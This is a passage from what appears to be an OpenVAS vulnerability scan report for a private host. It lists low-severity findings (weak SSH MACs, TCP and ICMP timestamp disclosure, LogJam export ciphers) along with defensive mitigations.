**Vulnerability Detection Method**

Details: Telnet Unencrypted Cleartext Login

OID:1.3.6.1.4.1.25623.1.0.108522

Version used: 2023-10-13T05:06:09Z

[\[ return to 192.168.254.186 \]](#)

**2.1.27 Low 22/tcp**

Low (CVSS: 2.6)

NVT: Weak MAC Algorithm(s) Supported (SSH)

**Summary**

The remote SSH server is configured to allow / support weak MAC algorithm(s).

**Quality of Detection:** 80

**Vulnerability Detection Result**

The remote SSH server supports the following weak client-to-server MAC algorithm  $\hookrightarrow$ (s):

hmac-md5

hmac-md5-96

hmac-sha1-96

umac-64@openssh.com

The remote SSH server supports the following weak server-to-client MAC algorithm  $\hookrightarrow$ (s):

hmac-md5

hmac-md5-96

hmac-sha1-96

umac-64@openssh.com

**Solution:**

**Solution type:** Mitigation

Disable the reported weak MAC algorithm(s).

... continues on next page ...

...continued from previous page ...

**Vulnerability Detection Method**

Checks the supported MAC algorithms (client-to-server and server-to-client) of the remote SSH server.

Currently weak MAC algorithms are defined as the following:

- MD5 based algorithms
- 96-bit based algorithms
- 64-bit based algorithms
- 'none' algorithm

Details: Weak MAC Algorithm(s) Supported (SSH)

OID:1.3.6.1.4.1.25623.1.0.105610

Version used: 2023-10-12T05:05:32Z

[\[ return to 192.168.254.186 \]](#)

**2.1.28 Low general/tcp**

Low (CVSS: 2.6)

NVT: TCP Timestamps Information Disclosure

**Summary**

The remote host implements TCP timestamps and therefore allows to compute the uptime.

**Quality of Detection:** 80

**Vulnerability Detection Result**

It was detected that the host implements RFC1323/RFC7323.

The following timestamps were retrieved with a delay of 1 seconds in-between:

Packet 1: 755164

Packet 2: 755271

**Impact**

A side effect of this feature is that the uptime of the remote host can sometimes be computed.

**Solution:**

**Solution type:** Mitigation

To disable TCP timestamps on linux add the line 'net.ipv4.tcp\_timestamps = 0' to /etc/sysctl.conf. Execute 'sysctl -p' to apply the settings at runtime.

To disable TCP timestamps on Windows execute 'netsh int tcp set global timestamps=disabled' Starting with Windows Server 2008 and Vista, the timestamp can not be completely disabled.

... continues on next page ...

|   |
|---|
| ...continued from previous page ...   |
| The default behavior of the TCP/IP stack on this Systems is to not use the Timestamp options when initiating TCP connections, but use them if the TCP peer that is initiating communication includes them in their synchronize (SYN) segment.<br>See the references for more information.   |
| <b>Affected Software/OS</b><br>TCP implementations that implement RFC1323/RFC7323.  |
| <b>Vulnerability Insight</b><br>The remote host implements TCP timestamps, as defined by RFC1323/RFC7323.   |
| <b>Vulnerability Detection Method</b><br>Special IP packets are forged and sent with a little delay in between to the target IP. The responses are searched for a timestamps. If found, the timestamps are reported.<br>Details: TCP Timestamps Information Disclosure<br>OID:1.3.6.1.4.1.25623.1.0.80091<br>Version used: 2023-12-15T16:10:08Z   |

### 2.1.30 Low 25/tcp

|   |
|---|
| Low (CVSS: 3.7)   |
| NVT: SSL/TLS: 'DHE_EXPORT' Man in the Middle Security Bypass Vulnerability (LogJam)   |
| <b>Summary</b><br>This host is accepting 'DHE_EXPORT' cipher suites and is prone to man in the middle attack.   |
| <b>Quality of Detection: 80</b>   |
| <b>Vulnerability Detection Result</b><br>'DHE_EXPORT' cipher suites accepted by this service via the SSLv3 protocol:<br>TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br>TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA<br>TLS_DH_anon_EXPORT_WITH_RC4_40_MD5<br>'DHE_EXPORT' cipher suites accepted by this service via the TLSv1.0 protocol:<br>TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA<br>TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA<br>TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 |
| <b>Impact</b><br>Successful exploitation will allow a man-in-the-middle attacker to downgrade the security of a TLS session to 512-bit export-grade cryptography, which is significantly weaker, allowing the attacker to more easily break the encryption and monitor or tamper with the encrypted stream.   |
| <b>Solution:</b><br><b>Solution type:</b> VendorFix<br>- Remove support for 'DHE_EXPORT' cipher suites from the service<br>- If running OpenSSL update to version 1.0.2b or 1.0.1n or later.  |
| ...continues on next page ...   |

|  |  |
|--|--|
| ...continued from previous page ...  |  |
| <b>Affected Software/OS</b>  |  |
| - Hosts accepting 'DHE_EXPORT' cipher suites   |  |
| - OpenSSL version before 1.0.2b and 1.0.1n   |  |
| <b>Vulnerability Insight</b>   |  |
| Flaw is triggered when handling Diffie-Hellman key exchanges defined in the 'DHE_EXPORT' cipher suites.  |  |
| <b>Vulnerability Detection Method</b>  |  |
| Check previous collected cipher suites saved in the KB.  |  |
| Details: SSL/TLS: 'DHE_EXPORT' Man in the Middle Security Bypass Vulnerability (LogJam)  |  |

### 2.1.31 Low general/icmp

Low (CVSS: 2.1)

NVT: ICMP Timestamp Reply Information Disclosure

#### Summary

The remote host responded to an ICMP timestamp request.

**Quality of Detection:** 80

#### Vulnerability Detection Result

The following response / ICMP packet has been received:

- ICMP Type: 14
- ICMP Code: 0

#### Impact

... continues on next page ...

|  |
|--|
| ...continued from previous page ...  |
| This information could theoretically be used to exploit weak time-based random number generators in other services.  |
| <b>Solution:</b><br><b>Solution type:</b> Mitigation<br>Various mitigations are possible: <ul style="list-style-type: none"><li>- Disable the support for ICMP timestamp on the remote host completely</li><li>- Protect the remote host by a firewall, and block ICMP packets passing through the firewall in either direction (either completely or only for untrusted networks)</li></ul> |
| <b>Vulnerability Insight</b><br>The Timestamp Reply is an ICMP message which replies to a Timestamp message. It consists of the originating timestamp sent by the sender of the Timestamp as well as a receive timestamp and a transmit timestamp.   |
| <b>Vulnerability Detection Method</b><br>Sends an ICMP Timestamp (Type 13) request and checks if a Timestamp Reply (Type 14) is received.<br>Details: ICMP Timestamp Reply Information Disclosure<br>OID:1.3.6.1.4.1.25623.1.0.103190<br>Version used: 2023-05-11T09:09:33Z  |
